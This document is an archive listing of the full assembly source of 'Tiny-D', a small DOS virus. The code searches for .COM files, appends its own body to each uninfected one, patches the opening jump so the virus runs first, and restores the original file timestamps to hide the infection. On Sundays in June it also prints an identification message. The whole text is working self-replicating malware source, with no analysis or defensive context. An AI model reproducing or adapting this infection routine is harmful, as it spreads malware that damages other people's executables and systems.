home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TINYD.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  5KB  |  117 lines

  1. tinyv   SEGMENT BYTE PUBLIC 'code'
  2.         ASSUME  CS:tinyv
  3.         ASSUME  SS:tinyv
  4.         ASSUME  DS:tinyv
  5. H00000    DB    0
  6. H00001    DB    255 DUP(?)
  7. program  PROC    FAR
  8.         ASSUME  ES:tinyv
  9. begin:
  10.         JMP     pgstart                 ; start program
  11. exlbl   LABEL   BYTE
  12.         db      0CDh, 20h, 7, 8, 9
  13. pgstart:
  14.         CALL    tinyvir
  15. mnprg   PROC    NEAR
  16. tinyvir:
  17.         POP     SI                      ; get SI for storage
  18.         SUB     SI,offset tinyvir       ; reset SI to virus start
  19.         MOV     BP,[SI+blnkdat]         ; store SI in BP for return
  20.         ADD     BP,offset exlbl         ; Add to get original offset
  21.  
  22.         LEA     DX,[SI+fspec]           ; get filespec (*.COM)
  23.         SUB     CX,CX                   ;        ||    (clear regs)
  24.         MOV     AH,4EH                  ;        ||   (find files)
  25. mainloop:                               ;       \||/
  26.         INT     21H                     ;    ----\/----
  27.         JC      hiccup                  ; no more files found, terminate virus
  28.         MOV     DX,009EH                ; set file name pointer
  29.         MOV     AX,3D02H                ; open file
  30.         INT     21H                     ; do it!
  31.         MOV     BX,AX                   ; move file handle to BX
  32.         MOV     AH,3FH                  ; read file
  33.         LEA     DX,[SI+endprog]         ; load end of program (as buffer pntr)
  34.         MOV     DI,DX                   ; set Dest Index to area for buffer (?)
  35.         MOV     CX,0003H                ; read 3 bytes
  36.         INT     21H                     ; do it!
  37.         CMP     BYTE PTR [DI],0E9H      ; check for JMP at start
  38.         JE      infect                  ; If begins w/JMP, Infect
  39. nextfile:
  40.         MOV     AH,4FH                  ; set int 21 to find next file
  41.         JMP     mainloop                ; next file, do it!
  42. hiccup: JMP     nofile
  43. infect:
  44.         MOV     AX,5700h                ; get date function
  45.         INT     21h                     ; do it!
  46.         PUSH    DX                      ; store date + time
  47.         PUSH    CX
  48.         MOV     DX,[DI+01H]             ; set # of bytes to move
  49.         MOV     [SI+blnkdat],DX         ;  "  " "    "   "   "
  50.         SUB     CX,CX                   ;  "  " "    "   "   " (0 here)
  51.         MOV     AX,4200H                ; move file
  52.         INT     21H                     ; do it!
  53.         MOV     DX,DI                   ; set dest index to area for buffer (?)
  54.         MOV     CX,0002H                ; two bytes
  55.         MOV     AH,3FH                  ; read file
  56.         INT     21H                     ; do it!
  57.         CMP     WORD PTR [DI],0807H     ; check for infection
  58.         JE      nextfile                ; next file if infected
  59.         SUB     DX,DX                   ; clear regs
  60.         SUB     CX,CX                   ;   "    "
  61.         MOV     AX,4202H                ; move file pointer
  62.         INT     21H                     ; do it!
  63.         CMP     DX,00H                  ; new pointer location 0?
  64.         JNE     nextfile                ; if no then next file
  65.         CMP     AH,0FEH                 ; new pointer loc too high?
  66.         JNC     nextfile                ; yes, try again
  67.         MOV     [SI+offset endprog+3],AX; point to data
  68.         MOV     AH,40H                  ; write instruction
  69.         LEA     DX,[SI+0105H]           ; write buffer loc    |
  70.         MOV     CX,offset endprog-105h  ; (size of virus)  --\|/--
  71.         INT     21H                     ; do it!
  72.         JC      exit                    ; error, bug out
  73.         MOV     AX,4200H                ; move pointer
  74.         SUB     CX,CX                   ; clear reg
  75.         MOV     DX,OFFSET H00001        ; where to set pointer
  76.         INT     21H                     ; do it!
  77.         MOV     AH,40H                  ; write to file
  78.         LEA     DX,[SI+offset endprog+3]; write data at SI+1AB
  79.         MOV     CX,0002H                ; two bytes (the JMP)
  80.         INT     21H                     ; do it!
  81.         MOV     AX,5701h                ; store date
  82.         POP     CX                      ; restore time
  83.         POP     DX                      ; restore date
  84.         INT     21h                     ; do it!
  85. exit:
  86.         MOV     AH,2Ah                  ; date function
  87.         INT     21h                     ; do it!
  88.         CMP     AL,0h                   ; is it sunday?
  89.         JNE     closal                  ; nope, quit
  90.         CMP     DH,6h                   ; is it June?
  91.         JNE     closal                  ; nope, quit
  92.         PUSH    BX
  93.         PUSH    SI
  94.         MOV     AH,9h                   ; print string
  95.         MOV     DX, OFFSET nondata      ; string to print
  96.         ADD     DX,SI
  97.         INT     21h                     ; print it
  98.         MOV     DX, OFFSET nondat2      ; next string
  99.         ADD     DX, SI
  100.         INT     21h                     ; print it!
  101.         POP     BX
  102. closal: MOV     AH,3EH                  ; close file
  103.         INT     21H                     ; do it!
  104. nofile: JMP     BP                      ; go to original file
  105. mnprg   ENDP
  106. program  ENDP
  107. blnkdat LABEL   WORD
  108.         DW      0000H
  109. fspec   LABEL   WORD
  110.         DB      '*.COM'
  111.     DB    0
  112. nondata DB      'Tiny-D version 1.1$   '; Program identification
  113. nondat2 DB      ' by ÿÇ╫@&ε╖│╜δ$'     ; author identification
  114. endprog LABEL   WORD
  115. tinyv   ENDS
  116.         END     program
  117.